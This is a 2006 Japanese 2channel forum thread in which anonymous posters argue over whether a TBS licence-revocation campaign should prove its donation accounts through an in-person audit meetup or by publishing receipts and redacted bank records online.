2人を辞めさせる目的でワーワー騒いだようにも見えるんだよねぇ・・・・・・・
0711エージェント・７７４2006/08/31(木) 03:32:59ID:zudsTviW
それほど難しい要求をしているわけでもないのですが。
街宣車のレンタル元、業者からの請求書や帳簿の公開など、割と簡単な話しか
しておりません。

URLを張っただけで明言を避ける不可解な対応や、業者の書類の公開の
という話に対して寄付者の個人情報を守るためといった頓珍漢な説明を
なさるのであれば、疑うほうより疑われるほうに多くの問題があると言われても
しかたありません。
0712エージェント・７７４2006/08/31(木) 03:34:25ID:2ywfi7Uz
コテの人達はどこ行っちゃったの？
もうこのスレ見捨てたの？
0713エージェント・７７４2006/08/31(木) 03:37:41ID:ZqX3DDCF
>>711
>寄付者の個人情報を守るためといった頓珍漢な説明
これがどうして頓珍漢なの？
0714エージェント・７７４2006/08/31(木) 03:38:00ID:ZSOQG2Hm
>>709
がそうかも
0715エージェント・７７４2006/08/31(木) 03:38:03ID:AN9HMGd+
>>711
監査ＯＦＦいきなよ　無理なら撮影公開まで待てば？
何か今じゃなきゃダメな理由あるの？それと広報車のレンタル元はだしてるよ

辞めさせるなんて無理じゃね？活動してたのはコテ名乗った人間だし。
多数決で決めるルールない上に自作自演防ぐには最低活動してコテ名乗ってる
人間しか権利ないだろ。厳密に言うと実名だしてるヤツにしか権利ないと思うが
0716エージェント・７７４2006/08/31(木) 03:40:48ID:+Y2m9sfr
>>711
なんでイラネ氏が隠したいのか俺にもわからんけど
そんなに疑うなら貴方も監査OFFへ、是非。

反対派というか署名支持者サイドにいない人に是非行ってもらいたいです。
0717エージェント・７７４2006/08/31(木) 03:41:14ID:y6IEq1Nd
>>711
私も>>711さんの仰るような内容であれば公開するのは簡単だと思うので、
イラネさんには監査オフの前にやって欲しいと思ったりしています。

このまま公開せずにいたらオフスレが荒れてしまうだけですしね。
0718Y田タヌキ ◆UL9HiEif7s 2006/08/31(木) 03:43:25ID:GWxPchaL
481氏に期待すりゃいいんじゃねえの。
結構疑っている人間は。
0719エージェント・７７４2006/08/31(木) 03:44:21ID:zudsTviW
>>713
帳簿は、入金と出金、使途だけ明らかであれば、振込み人の氏名に隠した通帳の
写真などである程度の証明はできます。
ですので、寄付者の個人情報を明らかにしろなどとはどなたもおっしゃっていないと
思います。

そのため、業者（もちろんｲﾗﾈ氏の会社も含む）とのやりとりで使用された請求書や
領収書等を一般公開して欲しいという要求に対して、個人情報が云々の説明は
やや論点がずれた説明であるわけです。

>>715
肝心なのは人が集まって監査しましたよ、という風景ではなく、確認したいと
思う人が、自分の目で確認できる環境作りです。
監査OFF風景を見ても、結局のところは、監査役を信用できるか否かという
個人的な印象以上のものは得られません。

レンタル業者のURLを提示しただけで、そこから借りたのか、という問いには一切
お答えになられていなかったと記憶しております。
件のURLの業者から借りたことが確定ということでよろしいのでしょうか。
0720エージェント・７７４2006/08/31(木) 03:44:58ID:AN9HMGd+
>>717
何であなたたちはカンパ係りしなかったの？
イラネ氏は最初は一任、次いで監査ＯＦＦします。うｐは毎日は無理だって言ったじゃないか。
そこで何故自分がするって言ってくれなかったの？
イラネ氏が実名だして通帳も晒してるから任したんじゃないの？
後で自分勝手な意見言うなら何故自分でしない？
0721エージェント・７７４2006/08/31(木) 03:45:31ID:lt3UtM5F
>>715
このスレでﾌｼｱﾅ祭りがあったのを知ってるのか？
何も知らないならば恥ずかしい言動は慎め。
ここは２ちゃんだ。実名晒すのがそんなに偉いならここを利用するな。


0722エージェント・７７４2006/08/31(木) 03:47:00ID:DR//mcnP
358 名前： 人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 投稿日： 2006/08/30(水) 21:47:07 ID:E0jKIEt7
>>356
オイラの方でビデオ撮りますが写りたくない場合はモザイク入れます
なお参加者からの撮影は厳禁としたいと思います
------------------------------------
団体のお仲間か基地外でない限り、こんなオフに参加したいと思う人はいませんｗ
0723エージェント・７７４2006/08/31(木) 03:47:22ID:AN9HMGd+
>>715
そこまでＲＯＭってて不審に思うんなら何故自分で聞かない？
何故それを俺に聞く？
自分でしないわけを教えてくれ
0724７２３2006/08/31(木) 03:48:48ID:VmPG9dh1
723は>>715じゃなくて>>719の間違い　ｽﾏｿ
0725エージェント・７７４2006/08/31(木) 03:50:18ID:zudsTviW
>>720
業者とのやり取りの証明ができる書類すら一般公開できないような会計しか
できないのであれば、ｲﾗﾈ氏が引きお受けになったのは誤りだったと言えましょう。

どこまでも論点がかみ合わないので一つ一つ確認しましょう。
まず、毎日アップという話ではありません。
どの時点でも構わないので、きちんとした情報を開示してもらいたい、という話です。
別に9月末に業者とのやりとりで使用された書類がすべて一般公開されるのでしたら、
何の問題もなかったはずです。
何故、それすら見せられないのか、というのが本質的な問題です。
0726エージェント・７７４2006/08/31(木) 03:50:37ID:ZqX3DDCF
>>719
>ある程度の証明はできます。
ある程度なら納得しない人たちも出てくるのではないですか？
0727エージェント・７７４2006/08/31(木) 03:51:01ID:zaSu4hLF
>>721
フシアナがそんなに偉いのか？実際に活動した話をしてんの、何言ってんだ？ｗ
0728エージェント・７７４2006/08/31(木) 03:52:23ID:wnYdH8T2
>>727
見えない敵が減るのは確実だと思うよ。
工作員とかピックルとか。
0729エージェント・７７４2006/08/31(木) 03:52:29ID:zudsTviW
>>723
昨晩もｲﾗﾈ氏本人に問い合わせましたし、このスレの上のほうでも他のかたによって
随分と質問されております。
その点は誤解なきよう。
0730エージェント・７７４2006/08/31(木) 03:53:35ID:iUF2PXw/
>>725
監査ＯＦＦは９／１０にある　
自分で納得いくまで確認しろｗ
0731エージェント・７７４2006/08/31(木) 03:55:47ID:y6IEq1Nd
>>720
何か意見を言えば「工作員」だの「ビックル」という扱いをされる状況でしたので。

私はそもそもカンパが必要になるようなオフにはしたくなかったのですが、
気付いた頃にはイラネさんの口座がカンパ専用に指定されていたんですよ。

誰もイラネさんに任せるなどとは言わなかったはずです。

街宣車を使うという話も一方的に決まってしまいましたし。
0732エージェント・７７４2006/08/31(木) 03:55:49ID:A2EwsDTW
>>728
見えない敵とか工作員とかはいるかもしれないしいないかもしれない。
疑心暗鬼になってもしかたないので気にしてないｗ
0733エージェント・７７４2006/08/31(木) 03:56:24ID:lt3UtM5F
>>727
ﾌｼｱﾅ祭りの経緯を知ってるのかと聞いたんだよ。
おれのIDを抽出してごらん。一発IDだけどな。
あんまり絡んでくるなよ。
0734エージェント・７７４2006/08/31(木) 03:57:34ID:zudsTviW
>>726
では言い方を変えますが、監査OFFよりも多くのかたを納得させることが
できると考えています。
監査OFFよりもお金も時間も少なくて済むというメリットもあります。
パーフェクトな解を目指すのでしたら、公認会計士を雇う費用が必要となりますが、
そこまで要求するのは予算的に難しいのではないかと思います。

>>730
そこに固執する限り、問題の解決はできないのではないかと思います。
監査OFFに行けない方は、はじめから切り捨てているわけですから。
何度も申し上げますが、疑問を感じた人が、いつでも自分の目で確認できる
体性作りというのが、この手の活動を長続きさせる秘訣です。
0735エージェント・７７４2006/08/31(木) 03:58:51ID:ylnV08vW
>>733
絡む気はない
経緯は知ってるあの時いたしｗ
最後までフシアナはしなかった
自分の知識のなさかも知れんがＰＣに何かされる可能性がある限りしない
0736エージェント・７７４2006/08/31(木) 04:02:39ID:Lo2GoSuJ
監査オフ行けば？って馬鹿だな。
監査オフが馬鹿なんだが。

外に広く賛同を求めるものでないならそれでいいが、
そうじゃないのだから監査オフなんてやりかたじゃ
行ってない行かないやつから常に不信の目で見られるし、疑問をぶつけられる。
疑いの目批判の目はいつまでたってもなくならない。
なんの目的の監査オフなんだか。すげー馬鹿。
0737エージェント・７７４2006/08/31(木) 04:04:54ID:fPR00dkf
首都圏にいない人間には、会計を見せる必要なんか無いんだよ。
田舎者は黙ってろ。
・・・と、思っているのかも。
0738エージェント・７７４2006/08/31(木) 04:05:04ID:ZqX3DDCF
>>734
>多くの
揚げ足取るようで悪いですが、これも納得しないのでは？
あなたのレスを読む限りですが、きっちりと100パーセントの人が納得しないといけない印象を持ちましたよ。
それならもう無理のような気がしますが。
0739エージェント・７７４2006/08/31(木) 04:05:39ID:ylnV08vW
>>735
じゃあんたがカンパ担当してくれ、それでこの活動を長続きさせてくれ。
>>736
じゃ頭のいいおまえが好きな監査をしたりいじゃないかｗ
0740エージェント・７７４2006/08/31(木) 04:06:30ID:ZqX3DDCF
>>736
行ったほうが良いのではないでしょうかね？
0741エージェント・７７４2006/08/31(木) 04:08:37ID:+Y2m9sfr
>>725
貴方が危惧する領収書ありなしで起こせる詐欺の方法を上げてみてくれ。
そしてそれに対するイラネ氏のメリットも。

例えば
本当は宣伝カーを借りていないのに
レンタルしたことにして20万(でしたっけ?)ゲットー計画とか
そういうことが領収書のありなしではいちよ出来ます。

が、現在カンパ金は大幅赤字となっており
イラネ氏とKN氏の自腹らしいです。
記録に載ってるカンパの額ざっとたしてみると現在172460円
車借りただけで赤字です。

だからといって疑惑をやめろとは言いません。
好きなだけつついてみてください。
ただ、俺から見ると何をそこまで疑うのか理解出来ないだけ。

個人的には領収書UPには賛成、もちろん監査OFFもやってくれ。と思っている。
0742エージェント・７７４2006/08/31(木) 04:09:39ID:Lo2GoSuJ
>>739
俺が監査して俺一人仮に納得できてなんの意味があるんだ。
行くって奴だけを納得させるだけ。
行かない奴は相変わらず不信の目、疑惑の目。
結局疑惑は晴れない。批判は終わらない。
疑惑を晴らすための監査オフじゃないのかｗ
なんのための監査オフなんだか。
って散々言われてて意味通じてないんだから、脳みそ蛆わいてるね。
0743エージェント・７７４2006/08/31(木) 04:10:29ID:ylnV08vW
>>742
じゃおまいが蛆の湧かない監査やれｗ
0744エージェント・７７４2006/08/31(木) 04:11:43ID:+Y2m9sfr
>>742
隊長！
監査OFFをやってok取れたらその記録をUP
帰った監査OFF出席者がそれを確認です。

監査OFFに署名支持者じゃない人が行ってほしいのはこのため。
0745エージェント・７７４2006/08/31(木) 04:12:01ID:zudsTviW
>>738
この活動で無駄な出費が多いのも、コストパフォーマンス意識の低さの一つでしょう。
100％のパフォーマンスが期待ができないのであれば、限られた予算と人員の中で
最も効率の良い会計報告するまでのことです。
監査OFFは、かける費用と人員に対する効果が低いので、よりベターな方策をとるほう
が良いと申し上げたわけです。

ところで、業者とのやり取りの書類と、入出金と使途を明記した帳簿および、
個人情報を伏せた通帳写真の一般公開のどこが無理なのでしょうか。
一人でも多くのかたを納得させることができるのでしたら、監査OFFプラス、上記のことを
実行すればよいだけです。
それならば、ｲﾗﾈ氏もニュー速のかたたちも、もちろん私も納得できてよいではありませんか。
0746エージェント・７７４2006/08/31(木) 04:13:15ID:m6H2Juav
>>742
レスついたから返してるだけで最後しか読んでないんだ読む価値ない気がして　
気にすんなｗ
0747エージェント・７７４2006/08/31(木) 04:16:03ID:Lo2GoSuJ
今のままじゃ100人いたら90人は怪しむ。
10人はだまされやすい馬鹿だから監査オフしようがしまいが関係ない。
怪しんでる奴は監査オフ開いても関わるのも怪しいし面倒だから普通は行かないが、
場所やタイミングによってはとても行けないが（行かなくてなんの不都合もない）、
まあ物見高い奴が５人が行くとしよう。
その10人は納得するかもしれない。
だが残る85人は納得しない。相変わらず疑惑の目。

監査オフしたんだから証明された！といくら言おうが、
85人の疑惑は変わらない。
賛同者も増えない。

5人のために85人の内疑惑が晴れれば参加したいと思ってるやつを捨てる馬鹿な行動。
0748エージェント・７７４2006/08/31(木) 04:16:58ID:m6H2Juav
>>745
決まったこと了承されたことを後で蒸し返す議論が無駄と思ってるのと
意見はいいけど、何故しないなんて声をあげるくせに自分じゃ出来ないやらない人間が嫌いなだけなんだ
責任ある人間として一番恥ずべき行為だと思ってるからｗ
気にしないでくれ　おやすみ
0749エージェント・７７４2006/08/31(木) 04:17:42ID:wnYdH8T2
KN氏もｲﾗﾈ氏も悪い事してないなら
はっきり疑惑の目を向ける人間にズバッと言ってやればいいとおもうYO
それが出来てないからループしてるのでは？
0750エージェント・７７４2006/08/31(木) 04:19:28ID:Lo2GoSuJ
オープンにすりゃ85人を黙らせることも可能なのに、
監査オフなんてしていつまでも疑惑を持たせ自ら叩かれようとする。
なにがしたいんだかわからんｗ

というか、実際に不正があるとしか判断できないわけだこれでは。
0751エージェント・７７４2006/08/31(木) 04:19:46ID:Bgcw6jYq?2BP(7)
監査オフを開く方は
・誰のために
・何を目的として
・どのような手段で
・何を達する
のかを明確にしておいた方がいいと思う
恐らくこの時点で既に周囲と相当の乖離を起こしてるハズ
0752エージェント・７７４2006/08/31(木) 04:20:16ID:ZqX3DDCF
>>745
内容はともかく新聞に出たのでコストパフォーマンスは良いと思いますよ。

>一般公開のどこが無理なのでしょうか。
やらないと言われればそれまででしょう。
無理というのは、100%の人が納得することは無理という意味です。
0753エージェント・７７４2006/08/31(木) 04:21:19ID:y6IEq1Nd
ＫＮ氏が別のオフでカンパを私的な用途に流用したことが
このオフに対する疑惑につながっているわけで、
より多くの人が納得できるような方法を考えたほうがいいですね。

疑惑が晴れないことによってスレが流れてしまうのは悲しいことです。
0754エージェント・７７４2006/08/31(木) 04:23:42ID:zudsTviW
>>741
要するに疑う理由をお聞きになりたいというだけのことで、それ以外は賛成といいう主旨
なのだと思います。
だとしたら、この議論の本質上、答えは明らかで、この場合、領収書等の公開に賛成する
票が私と>>741氏の分の２票存在するという話でよろしいのではないかと。

>>741氏のご発言を例にして言えば、>>741氏が疑わない動機はこの問題を考える上で、
どうでもよい事柄で、疑わないでよいとする「理屈」のほうが重要なわけです。
赤字だからというのは、話し合うに足る理屈にはなりますが、「疑う理由が理解できない」
という動機レベルの話は、議論する意味がありません。

なお話し合う価値のある内容のほうについては、赤字であったことの証明のためにも
なおさらきっちりと公開なさったほうがよろしいのではないかと思います。
0755エージェント・７７４2006/08/31(木) 04:25:10ID:Bgcw6jYq?2BP(7)
>>752
結果論でコストパフォーマンスを語られるとちょっと…

当初から予定していた内容と実際の活動に対する結果、
それらに想定していた費用と実際に投資した費用を
比較しての話ならいざ知らず、当初予定していなかった
メディアへの掲載をもって効果とするには無理がありますよ
0756エージェント・７７４2006/08/31(木) 04:26:09ID:ZqX3DDCF
>>754
で結局あなたは監査オフいかれるのでしょうか？
0757エージェント・７７４2006/08/31(木) 04:27:08ID:ZqX3DDCF
>>755
ちょっと強引でしたね、失礼しました。
0758エージェント・７７４2006/08/31(木) 04:27:58ID:Lo2GoSuJ
まったく単純な話で、誰もがわかるようにすれば疑惑はなくなる。
監査オフでは参加者しか納得せず疑惑はなくならない。
なんのため監査オフするんだ？
0759エージェント・７７４2006/08/31(木) 04:29:21ID:zudsTviW
>>755
活動そのものに関するコストパフォーマンスを話を引き合いにだしたのは、
話をややこしくするだけで不適切でした。申し訳ありません。

>>756
何故、その点に固執なさるのでしょうか。
こちらの意見の主旨をご理解いただければ、そのようなご質問に何の価値も
ないことがお分かりになるはずです。
0760エージェント・７７４2006/08/31(木) 04:30:46ID:wnYdH8T2
疑惑の目で見てる人間の比率と信用してる人間の比率を考えて行動すればいいYO
全員が納得できるに越した事はないが、それは無理なんでしょ？
だったら比率重視で行動すればいいよね？
東京までいけない人もいるわけだし、その日仕事の人もいるだろう？
0761エージェント・７７４2006/08/31(木) 04:35:30ID:+Y2m9sfr
>>754
貴方がそこまで疑う動機レベルの話を聞きたいんだが。
言いたくないならいいよ。

んじゃ貴方が強く勧める
ネットでUPした場合に起こる問題については何を想定されてますか？
そしてそれの解決策は？
0762エージェント・７７４2006/08/31(木) 04:37:56ID:Lo2GoSuJ
>>761
横からだがネットでアップしたら
不正がなければ疑惑は消える。
それでも疑惑を持つものが０になることはないが、信用する者が増える。

か。

とんでもない不正が発覚して運動がますますやばくなる。
問題となるのは、今疑われてる以上の不正があるときだなｗ
0763エージェント・７７４2006/08/31(木) 04:39:24ID:zudsTviW
>>761
私やニュー速の方々が疑問に感じる動機については、シンプルなことです。
見せても差し支えなさそうなものを決して見せようとしないのは何故か？
そして、そのように質問すると明快な回答をなさらないかスルー。
ご回答をいただけたとしても拒否であるからです。
これ以上に疑わしく感じる理由が必要でしょうか。

領収書や帳簿などをネット上で公開することによる問題は想定しておりません。
むしろ、>>761氏のほうで、このような問題があるから、公開すべきではないという
主張をなさるのでしたら対策を考えることもできますが。
0764エージェント・７７４2006/08/31(木) 04:40:01ID:7sXoCAnU
>>741
身の丈にあった運動をするべきだよね。
お金がないのなら宣伝カーを借りるのを見合わせるとかね。
0765エージェント・７７４2006/08/31(木) 04:40:32ID:Lo2GoSuJ
監査オフに固執し続ければ、
オープンにしない理由は今疑われてる以上の不正があるからとしか普通は考えられないから、
ますます疑われるという。
0766エージェント・７７４2006/08/31(木) 04:41:58ID:ZqX3DDCF
>>759
監査オフという方針だからですよ。


0767エージェント・７７４2006/08/31(木) 04:42:49ID:8wYI2u77
オウムかこいつは
0768エージェント・７７４2006/08/31(木) 04:43:32ID:wnYdH8T2
>>766
確認したいんだが監査オフを開催する意味は？
0769エージェント・７７４2006/08/31(木) 04:45:29ID:y6IEq1Nd
>>イラネさん

鳥取オフのカンパが入金されたＫＮ氏の通帳がうｐされましたが、
うｐしたことによって何か問題が発生したことは無かったように思います。

ＫＮ氏がカンパを私的に流用していたことは明らかになってしまいましたけどね。

このオフでも通帳うｐで多くの人が納得できるというのであれば、
通帳をうｐすればいいのではないでしょうか？

公認会計士に頼むという案が無理というのであれば、
通帳うｐが最善の方法であるように思います。


では寝ますﾉｼ
0770エージェント・７７４2006/08/31(木) 04:45:34ID:ZqX3DDCF
>>768
監査オフで会計をはっきりさせるということでしょう。
0771エージェント・７７４2006/08/31(木) 04:46:07ID:Lo2GoSuJ
監査オフしたのだから会計は潔白だと反論する勝つためだろう。
反論したところで納得させることなどできないのだから疑惑は消えないんだが、
敵に対抗するってことしか頭にないから反論するってことしかできない。
まじ馬鹿。
0772エージェント・７７４2006/08/31(木) 04:46:41ID:+Y2m9sfr
>>762,763
んじゃ一個だけ。

手渡しでもらったカンパには領収書のようなものが一切無いんだ。

ありえないレベルではあるがイラネ氏にぽーんと50万なり出す足長おじさんがいたとする。
それを記録してない場合どうすればいい？
俺にはこれの解決策は浮かばない

ネットでUPしてもしなくても結局疑いは消えないと思うよ。
疑おうと思えばいくらでも疑えるんだもの。
0773エージェント・７７４2006/08/31(木) 04:47:24ID:8wYI2u77
>>770
ハッキリする訳ねーだろ
0774エージェント・７７４2006/08/31(木) 04:47:36ID:wnYdH8T2
>>770
誰が？誰に対して？
0775エージェント・７７４2006/08/31(木) 04:47:54ID:ZqX3DDCF
>>763
>対策を考えることもできますが。
何か方法があるのでしたらやられたらどうでしょうか？
0776エージェント・７７４2006/08/31(木) 04:49:17ID:Bgcw6jYq?2BP(7)
>>770
みなさんは「会計をはっきりさせる」ことで何を達したいのかを
聞いているのだと思いますが…
それが監査オフをする意味ではないですかね？
0777エージェント・７７４2006/08/31(木) 04:49:41ID:zudsTviW
>>766
禅問答になる前に、お互いの立場を分ければ、無駄なレスを消費することがなくなり
良いかもしれません。

>>766氏は規定路線を忠実に実行するというお立場。
私は、その路線では現在提示されている疑いを晴らすことができないので、
書類の一般公開が必要という立場。

お互いに譲る気もなく、論点が交わることも無いのでしたら、ここで水掛け論を
展開するよりも、お互いベストと思う方法を提示するだけにとどめ、第三者による
判定を待ちましょう。
0778エージェント・７７４2006/08/31(木) 04:50:37ID:ZqX3DDCF
>>773
ではもう平行線ですね。
0779エージェント・７７４2006/08/31(木) 04:52:39ID:Lo2GoSuJ
>>772
疑いは消えないね。
でも減らすことは出来るだろう。
完全じゃなくてもね。ここまでしたんだからと。
監査オフよりずっと多くの人にね。

というかもっと早い時点で不完全でも可能な分だけでもオープンにしたらよかったんだよ。
そうすれば不信を持つものの増加は抑えられた。
遅くすれば遅くするほど不信を持つものを増やすだけ。

不信をもたれたらとにかく早くできるとこから疑惑を晴らそうとしなきゃならない。
どうせ完全なんてどうやってもありえない。

可能な限りリアルタイムに。
可能な限り誰にでも。
これはすごく当然。
0780エージェント・７７４2006/08/31(木) 04:53:24ID:zudsTviW
>>772
最初から、寄付されたかたの個人情報の公開の必要はない、という立場で
申し上げております。
恐らくニュー速のかたもそこまでは考えておられないはずです。
50万円の入金の記録をしていないのであれば、会計処理場のミスですので、
ｲﾗﾈ氏の責任です。
手渡しで請けた寄付金も一度は必ず、カンパ要口座に振り込むのが常識です。
0781エージェント・７７４2006/08/31(木) 04:54:34ID:wnYdH8T2
こういう場合の手渡しカンパって領収書みたいなのは渡さないもんか？
赤十字でもやってるぜ、領収書。
0782エージェント・７７４2006/08/31(木) 04:54:57ID:Lo2GoSuJ
監査オフではっきりするのはごく限られた参加者にとってだけ。
他の多くは不審間を「増す」。

全体でいえば、監査オフではっきりなんてしない。
平行線云々じゃなく、ただただそれが現実。
0783エージェント・７７４2006/08/31(木) 04:55:53ID:zudsTviW
>>775
領収書や請求書の一般公開により生じる問題を>>775氏が提示なされば、
それを防ぐ手立てを考えることはできますが、そもそも一般公開には問題が
生じないという立場の私にそのようなレスをいただくこと自体が禅問答です。
0784エージェント・７７４2006/08/31(木) 04:57:36ID:8wYI2u77
>>778
なんか詐欺師みたいだねその理屈
0785エージェント・７７４2006/08/31(木) 05:00:30ID:+Y2m9sfr
二個目

画像ファイルの捏造については？

俺はこれは監査OFFの方が確実だと思ってる。
紙媒体のものを改ざんするのは容易ではないよね。
実際に見てきた方がいいと思う。
0786エージェント・７７４2006/08/31(木) 05:01:36ID:Lo2GoSuJ
税務署相手にしてるんじゃないんだ。
どれだけ正確か、よりも、
どれだけ多くの人に、なんだよ。
0787エージェント・７７４2006/08/31(木) 05:05:21ID:wnYdH8T2
顔の見えない人と金銭と信用のやりとりをするんだしさ
通常の3倍神経質になってもおかしくないんだけどな
0788エージェント・７７４2006/08/31(木) 05:07:44ID:+Y2m9sfr
まぁ両方やってくれりゃいいんだよな。。。本当に。
0789エージェント・７７４2006/08/31(木) 05:09:32ID:+Y2m9sfr
OFF前に領収書の個人情報をぼかしてUP
監査OFFに参加する人が実際にある領収書とネット上の画像をチェック。
とか理想なんだが。
07907832006/08/31(木) 05:11:08ID:gNOcQQuy
連投規制ではじかれてしまったので、IDを変えました。
IDを変えてまで、スレをし続けるのも如何なものかと思いますので、
以下の点に異存がないようでしたら、このまま失礼させていただきたいと思います。

>>785
画像データの捏造という危険性を回避するためには、監査OFFをやる価値はあります。
より多くの人を納得させるためには、一般公開をする価値はあります。
さらにこれらを二重に実行すれば、さらに価値は高まります。

現状で、>>785氏との間でベストの結論を導き出そうとしたら、ダブルチェックという
解しか成り立ちませんが、この解決案について何か異存はありますか？
いや、それではｲﾗﾈ氏の負担がとおっしゃるのでしたら、会計監査OFFの際に
スキャン作業や帳簿作成などをすればよいだけのことです。
0791エージェント・７７４2006/08/31(木) 05:13:01ID:wnYdH8T2
一応イラネ氏は監査オフを撮影するみたいだし、本当はそれまで待てば
いいんだろうが、信用がないせいかネット上に載せる事にこだわってしまうんだよな俺は。
0792エージェント・７７４2006/08/31(木) 07:56:53ID:uY51+IED
監査オフに行って、ネットにどの書類をアップするかを詰めて、
実行させりゃいいだけの話じゃん。
0793エージェント・７７４2006/08/31(木) 08:18:28ID:85MwTAju
これは特定の企業を攻撃する禁止スレです


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本当にマナーの悪い連中だ。企業恫喝してんのか？
もうプロ右翼だなｗ



0794エージェント・７７４2006/08/31(木) 08:27:40ID:6oVdSA85
ＫＮを切り捨ててイラネを残せとかはナンセンスだと思うけどな。
何の反省も謝罪もせず、多数の苦情や抗議を「事実誤認と見解の相違」で
片付けようとしているのに、リーダー続けさせて何か改善が期待できる？
立て直すまではカンパや署名みたいに実名晒すリーダーが必要な活動内容
を凍結して、ＴＢＳの現状を周知させる活動にするしかないのでは？

確かに実名晒して先頭に立つ人間は負担も大きいし、その分発言や提案も
尊重されても良いが、すっかりこのOFFは私物化されている印象がある。
イラネやＫＮへの不信感がそのまま全体への不信につながっているね。
もう少し個人に負担や権限が集中しすぎない活動に出来ないかな？
0795エージェント・７７４2006/08/31(木) 09:26:23ID:9kQdb+4+
>>794
カンパを個人の活動に賛同できる人が出すでは

ダメなのが今回のでよくわかったよな

署名数は伸びないわ信頼も得られないわダメダメ
0796エージェント・７７４2006/08/31(木) 09:35:08ID:QqY8MA8z
これは特定の企業を攻撃する禁止スレです


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本当にマナーの悪い連中だ。企業恫喝してんのか？
もうプロ右翼だなｗ

0797質問します ◆v8LnuWXHmQ 2006/08/31(木) 09:49:17ID:voxPesXK
　　　　　　イラネ氏への質問まとめ


13 ：エージェント・７７４：2006/08/30(水) 02:08:40 ID:dJjerJsp
ＴＢＳの免許剥奪運動をやってる方々に質問があります。
総務省がＴＢＳの放送免許を取り消し、あるいは停止することができる法的根拠を知りたいです。
なんという法律の第何条の何々という規定に基づき処分ができるという形式で教えていただけないでしょうか。

255 ：エージェント・７７４：2006/08/30(水) 19:30:55 ID:i2MJuUoF
で、活動はこれで終わったの？
無視して続ければ？

256 ：エージェント・７７４：2006/08/30(水) 19:36:46 ID:HJslF+OA
真剣にこの運動続けたいならここでやらずに違うところでやればいいと思うよ？

239 ：エージェント・７７４：2006/08/30(水) 19:01:22 ID:Vqo3Cso4
個人情報流失するまえに
署名を取り消したいんですが？
できますか？？

303 ：エージェント・７７４：2006/08/30(水) 21:05:11 ID:R68eeP4c
>>299
署名提出した後、イラネはこっちの活動からは手を引くの？

460 ：エージェント・７７４：2006/08/30(水) 23:13:54 ID:7B6rfU+Y
監査オフの参加者としては、それこそ工作員さんも行けるんだろｗ
それはいいのか？
それともそういう指摘を待っていて、指摘されたら「監査オフやめる」という
言い訳にしようとしてるのかな？

514 ：エージェント・７７４：2006/08/31(木) 00:19:03 ID:AwmvwGdL
運動家に聞きたいんだけどさ。
このデモはどうなれば終わりなん？
署名が集まればそれでいいけど、どうやっても無理って言う基準はあるの？
どれだけやれば「諦め」の感情が芽生えるん？

749 ：エージェント・７７４：2006/08/31(木) 04:17:42 ID:wnYdH8T2
KN氏もｲﾗﾈ氏も悪い事してないなら
はっきり疑惑の目を向ける人間にズバッと言ってやればいいとおもうYO
それが出来てないからループしてるのでは？

758 ：エージェント・７７４：2006/08/31(木) 04:27:58 ID:Lo2GoSuJ
まったく単純な話で、誰もがわかるようにすれば疑惑はなくなる。
監査オフでは参加者しか納得せず疑惑はなくならない。
なんのため監査オフするんだ？
0798エージェント・７７４2006/08/31(木) 09:49:54ID:6oVdSA85
実名が要る派手な活動を提案
↓
提案者が自ら立候
↓
派手な活動に異を唱える者、情報開示を求める者を排除
↓
責任や負担の一部を負うと申し出る者も排除
↓
実質的に乗っ取り成功
↓
他の乗っ取り屋対策に若鹿コピペで予防線
↓
カンパや署名を思想活動に私的流用（ビラに書いてない事を平気で放言）
↓
抗議殺到も無視
↓
撤収準備へ


これまでの流れ、一度冷静に見返すといいよ。
0799質問します ◆v8LnuWXHmQ 2006/08/31(木) 09:54:47ID:voxPesXK
>>797の質問まとめした者ですが、質問以外のレスはコテトリなしで書き込みます。
0800エージェント・７７４2006/08/31(木) 09:56:59ID:6oVdSA85
>>799
まとめ乙
まともなレス来るといいね。
0801エージェント・７７４2006/08/31(木) 10:20:03ID:DreWOS7o
>>799
もう少しまともな質問したほうがいんじゃないのｗ
0802質問します ◆v8LnuWXHmQ 2006/08/31(木) 10:50:30ID:voxPesXK
>>801
質問があれば書き込んでください。
後で質問まとめに入れます。
0803エージェント・７７４2006/08/31(木) 11:33:46ID:9pBBn9p+
今日が抗議オフ最終日かｗｗｗｗｗｗｗ
0804エージェント・７７４2006/08/31(木) 11:59:58ID:mwTQW8m/
個人攻撃しながらカンパへの信頼がどーだとかよく言えるもんだな。
コテが返事してくれない、って当たり前じゃん。
よってたかって返事してくれたコテ全部潰してるんだもんな。
結局おまいらはオフを潰したかっただけだといわれてもしょうがない。
0805エージェント・７７４2006/08/31(木) 12:04:01ID:ZachigfR
つぶされる奴がその程度ってことだ。
政治家やタレントへのバッシングはこんなのの比じゃないよ
それでもつぶれずに立っている。
0806エージェント・７７４2006/08/31(木) 12:05:37ID:6oVdSA85
>>804
落ち着いた方がいいよ。
0807エージェント・７７４2006/08/31(木) 12:15:37ID:ZSOQG2Hm
潰したいわけじゃないよ。
潰したら祭れないじゃん（・∀・）
0808エージェント・７７４2006/08/31(木) 12:24:41ID:eP4DGdIE
監査OFFってさぁ
本来は予定に入っていなかったはずだよな？
会計報告だけだったはず。
けど批判者が会計報告だけじゃ納得できないって言うから帳簿のうｐ
それでも納得できないって言うやつが出てきて
そんじゃ監査OFF開くから見に来てくれってことになったはず。（うろ覚え）

そこで通帳やら領収書やら全部公開するんだから見に行ったらいい

出席した人間しか納得しないってんなら
誰か言ってたけど批判側の代表者がOFFに行けばいんじゃね？
代表を選出できるかどうかは批判側のまとまり次第だが・・・
監査OFFまで批判したらそれこそ「そんじゃやめる！」で
会計報告で済まされる可能性も出てくるんじゃねーのかな？
ある意味運営側からの妥協案だと思うけどね～
0809エージェント・７７４2006/08/31(木) 12:27:31ID:9kQdb+4+
>>804
そうだよね潰れたらカンパでウマウマできなくて困るよね
主催者が、でも他の人には関係ないことなんだ

別に今潰れてもいんじゃない？なんか効果あったかこのデモに
0810播州赤穂47士 ◆1GFDZ1iNhA 2006/08/31(木) 12:29:57ID:Qd7nB3Eb
あまり時間が無いので手短に書きます。ホントはもっと詳細に書かなければ、
読み手との意思疎通を欠き、新たな誤解を生み、このスレのように「悪循環」になりますが。

>>566
>・泣いて馬謖を斬る
>・明治維新　赤報隊　相楽総三
>ここら辺を御参考にして下さい。

この意味を履き違えておられるみたいですので・・・
この運動の『主役』は、KN氏でもｲﾗﾈ氏でもなく、『カンパした人、署名参加した人』です。
だから今回の、　諸葛孔明とは？　明治維新政府とは？ そのような人達だと思います。
その人達が、ホントに斬れるのか？ と言うことを書いたつもりです。

